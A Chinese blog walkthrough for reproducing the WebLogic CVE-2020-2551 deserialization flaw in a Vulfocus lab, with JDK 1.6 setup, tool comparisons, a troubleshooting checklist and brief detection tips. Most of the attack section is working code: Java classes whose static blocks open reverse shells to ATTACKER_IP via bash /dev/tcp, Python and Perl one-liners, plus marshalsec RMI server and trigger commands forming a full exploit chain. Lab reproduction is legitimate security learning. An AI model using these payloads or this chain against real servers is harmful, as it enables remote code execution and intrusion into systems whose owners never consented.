news 2026/4/23 13:29:37

保姆级教程:用Vulfocus靶场复现WebLogic CVE-2020-2551漏洞(含JDK1.6踩坑实录)

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
保姆级教程:用Vulfocus靶场复现WebLogic CVE-2020-2551漏洞(含JDK1.6踩坑实录)

WebLogic CVE-2020-2551漏洞复现实战指南:从环境搭建到反弹Shell的全流程解析

当我在第一次尝试复现WebLogic CVE-2020-2551漏洞时,整整两天时间都卡在JDK版本兼容问题上。看着各种工具报错却找不到原因,这种挫败感让我深刻理解到——漏洞复现从来不是简单的"复制粘贴命令",而是一场与开发环境斗智斗勇的持久战。

1. 环境准备:避开JDK版本的地雷阵

1.1 操作系统适配的JDK1.6安装方案

JDK1.6这个"上古版本"是复现该漏洞的最大障碍。不同操作系统下的安装方式各有玄机:

Windows系统方案

  • 从Oracle存档库下载jdk-6u45-windows-x64.exe
  • 安装后需手动设置环境变量:
setx JAVA_HOME "C:\Program Files\Java\jdk1.6.0_45" setx PATH "%PATH%;%JAVA_HOME%\bin"

Mac系统特殊处理

  • 使用Homebrew安装旧版:
brew tap homebrew/cask-versions brew install --cask java6
  • 需要额外授权才能运行(系统偏好设置→安全性与隐私)

Linux便捷方案

wget https://archive.org/download/jdk-6u45-linux-x64/jdk-6u45-linux-x64.bin chmod +x jdk-6u45-linux-x64.bin ./jdk-6u45-linux-x64.bin sudo mv jdk1.6.0_45 /usr/lib/jvm/ update-alternatives --install /usr/bin/java java /usr/lib/jvm/jdk1.6.0_45/bin/java 1

验证安装成功的黄金命令:java -version应该显示"1.6.0_45",而不是任何更高版本

1.2 靶场环境快速部署

Vulfocus靶场的WebLogic镜像已经预配置了漏洞环境,但有两个隐藏陷阱:

  1. 默认监听端口可能不是常见的7001
  2. 内置的netcat版本通常不支持-e参数

启动命令建议:

docker run -d -p 8001:8001 vulfocus/weblogic-cve_2020_2551

2. 工具链的生死抉择:marshalsec还是JNDI-Injection-Exploit

2.1 marshalsec的编译陷阱

原始文档建议使用marshalsec-0.0.3-SNAPSHOT-all.jar,但实际编译时会遇到这些坑:

  • 编译环境冲突:必须在JDK8下编译,但生成的payload要在JDK6运行
  • Maven依赖问题解决方案:
mvn clean package -DskipTests -Dmaven.compiler.source=1.8 -Dmaven.compiler.target=1.8

2.2 JNDI-Injection-Exploit为何失败

工具兼容JDK问题根源
marshalsec1.6+需要二次编译
JNDI-Injection-Exploit1.7+底层API变更
手工编写EXP任意版本灵活性最高

我在测试中发现,即使使用JNDI-Injection-Exploit的1.0-SNAPSHOT版本,其生成的字节码仍然包含JDK7特有的指令集,这会导致在WebLogic的JDK6环境中直接崩溃。

3. EXP编写实战:绕过netcat版本限制

3.1 基础EXP模板

// exp_jndi.java import java.io.IOException; public class exp_jndi { static { try { Runtime.getRuntime().exec(new String[]{ "/bin/bash", "-c", "exec 5<>/dev/tcp/ATTACKER_IP/4444;cat <&5 | while read line; do $line 2>&5 >&5; done" }); } catch (IOException e) { e.printStackTrace(); } } }

编译时必须指定精确版本:

javac -source 1.6 -target 1.6 exp_jndi.java

3.2 针对老旧netcat的替代方案

Vulfocus环境中的netcat通常缺少-e参数支持,这些替代方案更可靠:

  1. Python反向Shell
Runtime.getRuntime().exec(new String[]{ "/usr/bin/python", "-c", "import socket,subprocess,os;" + "s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);" + "s.connect((\"ATTACKER_IP\",4444));" + "os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);" + "p=subprocess.call([\"/bin/sh\",\"-i\"]);" });
  1. Perl单行命令
Runtime.getRuntime().exec(new String[]{ "/usr/bin/perl", "-e", "use Socket;$i=\"ATTACKER_IP\";$p=4444;" + "socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));" + "if(connect(S,sockaddr_in($p,inet_aton($i)))){" + "open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");" + "exec(\"/bin/sh -i\");};" });

4. 完整攻击链组装

4.1 分步执行流程

  1. 启动HTTP服务(托管编译好的class文件):
python3 -m http.server 8080
  1. 开启RMI转发
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer \ "http://YOUR_IP:8080/#exp_jndi" 1099
  1. 触发漏洞
java -jar weblogic20202551.jar TARGET_IP TARGET_PORT \ rmi://YOUR_IP:1099/exp_jndi
  1. 监听反弹Shell
nc -lvnp 4444

4.2 排错检查清单

当攻击不成功时,按这个顺序检查:

  • [ ] JDK版本是否完全匹配(攻击端和靶场端)
  • [ ] 防火墙是否放行相关端口(1099, 4444, 8080)
  • [ ] EXP文件是否可被靶场服务器访问
  • [ ] 所有IP地址是否配置正确
  • [ ] 时间戳是否在漏洞有效期内(某些WebLogic补丁会自动生效)

5. 防御视角:从攻击中学习防护

虽然我们是站在攻击角度复现漏洞,但理解防御同样重要。企业环境中可以通过以下方式检测此类攻击:

  1. IIOP协议监控
tcpdump -i any -nn 'port 1050' -w iiop_traffic.pcap
  1. 异常JNDI查询日志
grep -i "JNDI lookup" /path/to/weblogic/logs/*.log
  1. RMI请求分析
netstat -tulnp | grep 1099

在防御配置上,WebLogic管理员应该:

  • 及时安装官方补丁
  • 限制IIOP协议的访问权限
  • 监控异常的Java序列化流量

漏洞复现过程中最让我意外的是,即使使用完全相同的工具和命令,在不同的网络环境下结果可能截然不同。有次因为本地防火墙的隐形拦截,浪费了三小时排查。这也印证了安全研究的铁律:环境差异是最大的变量,永远要保持怀疑精神。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/23 13:26:34

局域网组网技术

与为了互联全球不同网络而设计的、复杂的OSI七层模型不同&#xff0c;局域网参考模型更专注于解决一个局部区域内的网络通信问题。因此&#xff0c;它的结构被大大简化了。下图清晰地展示了局域网参考模型与OSI模型的关系&#xff1a;一、设计思想&#xff1a;简化与专注局域网…

作者头像 李华
网站建设 2026/4/23 13:26:32

Nacos的使用快速上手

下载的地址: https://github.com/alibaba/nacos/releases/tag/2.2.3 部署需要修改什么 打jar包的时候&#xff0c;先进行的是bootscrap 然后是application&#xff0c;所以说在bootscrap有的可以不在application 1.先创建多个配置文件 2.修改数据库的密码 application 配置那…

作者头像 李华
网站建设 2026/4/23 13:26:11

“礼崩乐坏”之后,大疆创始人汪韬更懂慢以致远

那个“我”字是毒药。文&#xff5c;段泽钰编&#xff5c;郭梦仪4月16日晚上八点&#xff0c;大疆pocket 4正式发售&#xff0c;多个平台秒空&#xff0c;现货溢价接近600元。这是大疆在20周年之际发布的重磅新品&#xff0c;市场用真金白银投出了信任票。爆款之后是业绩的提升…

作者头像 李华
网站建设 2026/4/23 13:25:24

3分钟掌握d2s-editor:暗黑破坏神2存档修改的终极免费指南

3分钟掌握d2s-editor&#xff1a;暗黑破坏神2存档修改的终极免费指南 【免费下载链接】d2s-editor 项目地址: https://gitcode.com/gh_mirrors/d2/d2s-editor 还在为《暗黑破坏神2》中反复刷装备而苦恼吗&#xff1f;d2s-editor作为一款专业的暗黑破坏神2存档编辑器&am…

作者头像 李华